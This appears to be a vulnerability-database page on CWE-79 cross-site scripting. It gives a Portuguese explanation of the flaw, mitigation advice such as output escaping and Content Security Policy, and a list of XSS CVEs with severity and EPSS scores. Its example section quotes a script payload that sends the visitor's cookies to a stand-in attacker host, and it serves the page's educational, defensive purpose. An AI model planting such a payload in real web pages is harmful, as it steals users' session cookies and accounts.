Fallos del tipo CWE-79

29.990 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-5420MEDIUMjuzaweb CMS Profile Page upload cross site scriptingEPSS 0.4%CVE-2024-3634MEDIUMmonth name translation benaceur < 2.3.8 - Admin+ Stored XSSEPSS 0.4%CVE-2026-12592HIGHSlimStat Analytics < 5.5.0 - Unauthenticated Stored XSS via CF-IPCountry HeaderEPSS 0.4%CVE-2023-50826MEDIUMWordPress Menu Image, Icons made easy Plugin <= 3.10 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-37619HIGHStrongShop v1.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the spec_group_id parameter at /spec/indeEPSS 0.4%CVE-2026-48060HIGHLitestar: HTML Injection Through CSRF TokenEPSS 0.4%CVE-2026-53950HIGH@tryghost/activitypub: XSS in Ghost's ActivityPub clientEPSS 0.4%CVE-2022-33961MEDIUMWordPress YellowPencil Visual CSS Style Editor Plugin <= 7.5.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-59424HIGHLinkAce Vulnerable to Stored XSS on the Audit PageEPSS 0.4%CVE-2021-47779HIGHDolibarr ERP-CRM 14.0.2 - Stored Cross-Site Scripting (XSS) / Privilege EscalationEPSS 0.4%CVE-2024-6691MEDIUMEasy Digital Downloads – Sell Digital Files & Subscriptions (eCommerce Store + Payments Made Easy) <= 3.3.2 - Authenticated (Admin+) Stored Cross-Site Scripting via Currency SettingsEPSS 0.4%CVE-2024-41959HIGHCross-site Scripting (XSS) via API Logs in mailcow: dockerizedEPSS 0.4%CVE-2026-5162MEDIUMRoyal Addons for Elementor <= 1.7.1056 - Authenticated (Contributor+) Stored Cross-Site Scripting via Instagram Feed WidgetEPSS 0.4%CVE-2023-50357MEDIUMCross site scripting vulnerability in AREAL SAS Webserv1 ASP Web SiteEPSS 0.4%CVE-2026-30864HIGHCombodo iTop: Reflected XSS in dashboard revertEPSS 0.4%CVE-2024-20305MEDIUMA vulnerability in the web-based management interface of Cisco Unity Connection could allow an authenticated, remote attacker to conduct a cEPSS 0.4%CVE-2024-13155MEDIUMUnlimited Elements For Elementor (Free Widgets, Addons, Templates) <= 1.5.140 - Authenticated (Contributor+) Stored Cross-Site Scripting via Transparent Split Hero WidgetEPSS 0.4%CVE-2026-1931HIGHRent Fetch <= 0.32.4 - Unauthenticated Stored Cross-Site Scripting via 'keyword' ParameterEPSS 0.4%CVE-2025-6452MEDIUMCodeAstro Patient Record Management System Generate New Report Page cross site scriptingEPSS 0.4%CVE-2026-112184MEDIUMMISP Workflow Module: Reflected XSS via Unescaped misp-modules Parameter Names in Form LabelsEPSS 0.4%